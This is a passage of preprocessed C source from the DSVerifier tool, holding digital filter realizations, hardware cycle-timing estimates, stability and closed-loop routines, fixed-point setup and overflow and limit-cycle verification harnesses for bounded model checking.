# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 262, __extension__ __PRETTY_FUNCTION__); }))
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_transposed_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 291, __extension__ __PRETTY_FUNCTION__); }))
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return yout;
}
double generic_timing_double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb){
generic_timer += ((6 * hw.assembly.push) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (12 * hw.assembly.std));
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
generic_timer += ((12 * hw.assembly.std) + (12 * hw.assembly.ldd) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (1 * hw.assembly.adiw));
int i, j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < Nb; i++){
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.sbc) + (10 * hw.assembly.std) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum += *b_ptr++ * *x_ptr--;
}
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++){
generic_timer += ((22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (8 * hw.assembly.std) + (1 * hw.assembly.sbci) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.sbc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum -= *a_ptr++ * *y_ptr--;
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (6 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
generic_timer += ((10 * hw.assembly.std) + (6 * hw.assembly.ldd) + (2 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
generic_timer += ((23 * hw.assembly.ldd) + (32 * hw.assembly.mov) + (9 * hw.assembly.std) + (2 * hw.assembly.subi) + (3 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (2 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge));
}
w[0] += x;
w_ptr = &w[0];
generic_timer += ((13 * hw.assembly.ldd) + (12 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.st) + (1 * hw.assembly.ld) + (1 * hw.assembly.rcall));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (10 * hw.assembly.std) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (8 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
generic_timer += ((15 * hw.assembly.std) + (22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.brge) + (1 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
generic_timer += ((70 * hw.assembly.mov) + (65 * hw.assembly.ldd) + (12 * hw.assembly.lsl) + (12 * hw.assembly.rol) + (15 * hw.assembly.std) + (6 * hw.assembly.add) + (6 * hw.assembly.adc) + (2 * hw.assembly.adiw) + (3 * hw.assembly.cpc) + (3 * hw.assembly.cp) + (5 * hw.assembly.ld) + (4 * hw.assembly.rcall) + (5 * hw.assembly.subi) + (3 * hw.assembly.rjmp) + (2 * hw.assembly.brlt) + (3 * hw.assembly.st) + (2 * hw.assembly.sbci) + (3 * hw.assembly.sbc) + (1 * hw.assembly.brge));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (8 * hw.assembly.pop) + (3 * hw.assembly.out) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (1 * hw.assembly.adiw) + (1 * hw.assembly.ret));
return yout;
}
void double_direct_form_1_impl2(double x[], int x_size, double b[], int b_size, double a[], int a_size, double y[]){
int i = 0; int j = 0;
double v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = v[i] + x[i-j] * b[j];
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = y[i] + v[i];
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = y[i] + y[i-j] * ((-1) * a[j]);
}
}
}
void fxp_direct_form_1_impl2(fxp_t x[], int x_size, fxp_t b[], int b_size, fxp_t a[], int a_size, fxp_t y[]){
int i = 0; int j = 0;
fxp_t v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = fxp_add(v[i], fxp_mult(x[i-j], b[j]));
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = fxp_add(y[i], v[i]);
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = fxp_add(y[i], fxp_mult(y[i-j] , -a[j]));
}
}
}
# 26 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h"
# 1 "/usr/include/assert.h" 1 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
int nchoosek(int n, int k){
if (k == 0)
return 1;
return (n * nchoosek(n - 1, k - 1)) / k;
}
void generate_delta_coefficients(double vetor[], double out[], int n, double delta){
int i,j;
int N = n - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + vetor[j]*nchoosek(N-j,i-j);
}
out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
}
void get_delta_transfer_function(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
generate_delta_coefficients(b, b_out, b_size, delta);
generate_delta_coefficients(a, a_out, a_size, delta);
}
void get_delta_transfer_function_with_base(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
int i,j;
int N = a_size - 1;
int M = b_size - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + a[j]*nchoosek(N-j,i-j);
}
a_out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
for(i=0; i<=M; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + b[j]*nchoosek(M-j,i-j);
}
b_out[i] = internal_pow(delta,M-i)*sum_delta_operator;
}
}
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h" 1
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h"
void ft_closedloop_series(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_num + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1 ;
double den_mult [Nans_den];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, ans_num, Nans_num);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den );
poly_sum(ans_num, Nans_num , den_mult, Nans_den , ans_den, Nans_den);
}
void ft_closedloop_sensitivity(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
int Nans_num_p = Nc_num + Nmodel_num-1;
Nans_den = Nc_den + Nmodel_den-1;
Nans_num = Nc_den + Nmodel_den-1;
double num_mult [Nans_num_p];
poly_mult(c_den, Nc_den, model_den, Nmodel_den, ans_num, Nans_num);
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nans_num_p);
poly_sum(ans_num, Nans_num, num_mult, Nans_num_p, ans_den, Nans_den);
}
void ft_closedloop_feedback(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_den + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1;
int Nnum_mult = Nc_num + Nmodel_num - 1;
double den_mult [Nans_den];
double num_mult [Nnum_mult];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nnum_mult);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den);
poly_sum(num_mult, Nnum_mult, den_mult, Nans_den, ans_den, Nans_den);
poly_mult(c_den, Nc_den, model_num, Nmodel_num, ans_num, Nans_num);
}
int check_stability_closedloop(double a[], int n, double plant_num[], int p_num_size, double plant_den[], int p_den_size){
int columns = n;
double m[2 * n - 1][n];
int i,j;
int first_is_positive = 0;
double * p_num = plant_num;
double * p_den = plant_den;
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
__DSVERIFIER_assert(sum > 0);
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
__DSVERIFIER_assert(sum > 0);
__DSVERIFIER_assert(internal_abs(a[n-1]) < a[0]);
for (i=0; i < 2 * n - 1; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
__DSVERIFIER_assert(m[i-2][0] > 0);
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
__DSVERIFIER_assert((m[0][0] >= 0) && (m[i][0] >= 0));
}
}
}
return 1;
}
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
extern digital_system ds;
extern digital_system plant;
extern digital_system control;
extern implementation impl;
extern filter_parameters filter;
extern hardware hw;
void initialization(){
if (impl.frac_bits >= 32){
printf("impl.frac_bits must be less than word width!\n");
}
if (impl.int_bits >= 32 - impl.frac_bits){
printf("impl.int_bits must be less than word width subtracted by precision!\n");
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
((void) sizeof ((
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ; else __assert_fail (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
"0"
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h", 33, __extension__ __PRETTY_FUNCTION__); }))
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
;
}
if(impl.frac_bits >= 31){
_fxp_one = 0x7fffffff;
}else{
_fxp_one = (0x00000001 << impl.frac_bits);
}
_fxp_half = (0x00000001 << (impl.frac_bits - 1));
_fxp_minus_one = -(0x00000001 << impl.frac_bits);
_fxp_min = -(0x00000001 << (impl.frac_bits + impl.int_bits - 1));
_fxp_max = (0x00000001 << (impl.frac_bits + impl.int_bits - 1)) - 1;
_fxp_fmask = ((((int32_t) 1) << impl.frac_bits) - 1);
_fxp_imask = ((0x80000000) >> (32 - impl.frac_bits - 1));
_dbl_min = _fxp_min;
_dbl_min /= (1 << impl.frac_bits);
_dbl_max = _fxp_max;
_dbl_max /= (1 << impl.frac_bits);
if ((impl.scale == 0) || (impl.scale == 1)){
impl.scale = 1;
return;
}
if (impl.min != 0){
impl.min = impl.min / impl.scale;
}
if (impl.max != 0){
impl.max = impl.max / impl.scale;
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
}
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h"
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
double double_state_space_representation(void){
double result1[4][4];
double result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
return _controller.outputs[0][0];
}
double fxp_state_space_representation(void){
fxp_t result1[4][4];
fxp_t result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t D_fpx[4][4];
fxp_t states_fpx[4][4];
fxp_t inputs_fpx[4][4];
fxp_t outputs_fpx[4][4];
for(i=0; i<4;i++){
for(j=0; j<4;j++){
A_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
B_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
C_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
D_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
states_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
inputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
D_fpx[i][j]= fxp_double_to_fxp(_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
states_fpx[i][j]= fxp_double_to_fxp(_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
inputs_fpx[i][j]= fxp_double_to_fxp(_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]= fxp_double_to_fxp(_controller.outputs[i][j]);
}
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,C_fpx,states_fpx,result1);
fxp_matrix_multiplication(nOutputs,nInputs,nInputs,1,D_fpx,inputs_fpx,result2);
fxp_add_matrix(nOutputs,
1,
result1,
result2,
outputs_fpx);
fxp_matrix_multiplication(nStates,nStates,nStates,1,A_fpx,states_fpx,result1);
fxp_matrix_multiplication(nStates,nInputs,nInputs,1,B_fpx,inputs_fpx,result2);
fxp_add_matrix(nStates,
1,
result1,
result2,
states_fpx);
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= fxp_to_double(states_fpx[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j]= fxp_to_double(outputs_fpx[i][j]);
}
}
return _controller.outputs[0][0];
}
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h"
double sinTyl(double x, int precision){
double sine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
sine = aux;
if (precision >= 1)
{
aux = x;
sine += aux;
if (precision >= 2)
{
aux = aux*xsquared;
sine -= aux/6;
if (precision >= 3)
{
aux = aux*xsquared;
sine +=aux/120;
if(precision >=4)
{
aux = aux*xsquared;
sine -=aux/5040;
if(precision >= 5)
{
aux = aux*xsquared;
sine +=aux/362880;
if(precision >= 6)
{
aux = aux*xsquared;
sine -=aux/39916800;
if (precision >= 7)
printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return sine;
}
double cosTyl(double x, int precision){
double cosine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function cosTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
cosine = aux;
if (precision >= 1)
{
aux = 1;
cosine = 1;
if (precision >= 2)
{
aux = xsquared;
cosine -= aux/2;
if (precision >= 3)
{
aux = aux*xsquared;
cosine += aux/24;
if(precision >=4)
{
aux = aux*xsquared;
cosine -=aux/720;
if(precision >= 5)
{
aux = aux*xsquared;
cosine +=aux/40320;
if(precision >= 6)
{
aux = aux*xsquared;
cosine -=aux/3628800;
if (precision >= 7) printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return cosine;
}
double atanTyl(double x, int precision){
double atangent;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
atangent = aux;
if (precision >= 1)
{
aux = x;
atangent = aux;
if (precision >= 2)
{
aux = xsquared;
atangent -= aux/3;
if (precision >= 3)
{
aux = aux*xsquared;
atangent += aux/5;
if(precision >=4)
{
aux = aux*xsquared;
atangent -=aux/7;
if (precision >= 7)
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision representation exceeded. Assuming maximum precision of 4\n");
}
}
}
}
}
return atangent;
}
float sqrt1(const float x)
{
const float xhalf = 0.5f*x;
union
{
float x;
int i;
} u;
u.x = x;
u.i = 0x5f3759df - (u.i >> 1);
return x*u.x*(1.5f - xhalf*u.x*u.x);
}
float sqrt2(const float x)
{
union
{
int i;
float x;
} u;
u.x = x;
u.i = (1<<29) + (u.i >> 1) - (1<<22);
return u.x;
}
float fabsolut(float x)
{
if (x < 0)
x = -x;
return x;
}
static float sqrt3(float val)
{
float x = val/10;
float dx;
double diff;
double min_tol = 0.00001;
int i, flag;
flag = 0;
if (val == 0 ) x = 0;
else
{
for (i=1;i<20;i++)
{
if (!flag)
{
dx = (val - (x*x)) / (2.0 * x);
x = x + dx;
diff = val - (x*x);
if (fabsolut(diff) <= min_tol) flag = 1;
}
else x =x;
}
}
return (x);
}
# 31 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_overflow(void) {
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 73 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 123 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 174 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
}
overflow_mode = 1;
fxp_verify_overflow_array(y, X_SIZE_VALUE);
return 0;
}
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 1
# 15 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
int verify_limit_cycle_state_space(void){
double stateMatrix[4][4];
double outputMatrix[4][4];
double arrayLimitCycle[4];
double result1[4][4];
double result2[4][4];
int i, j, k;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
stateMatrix[i][j]=0;
outputMatrix[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
k = 0;
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
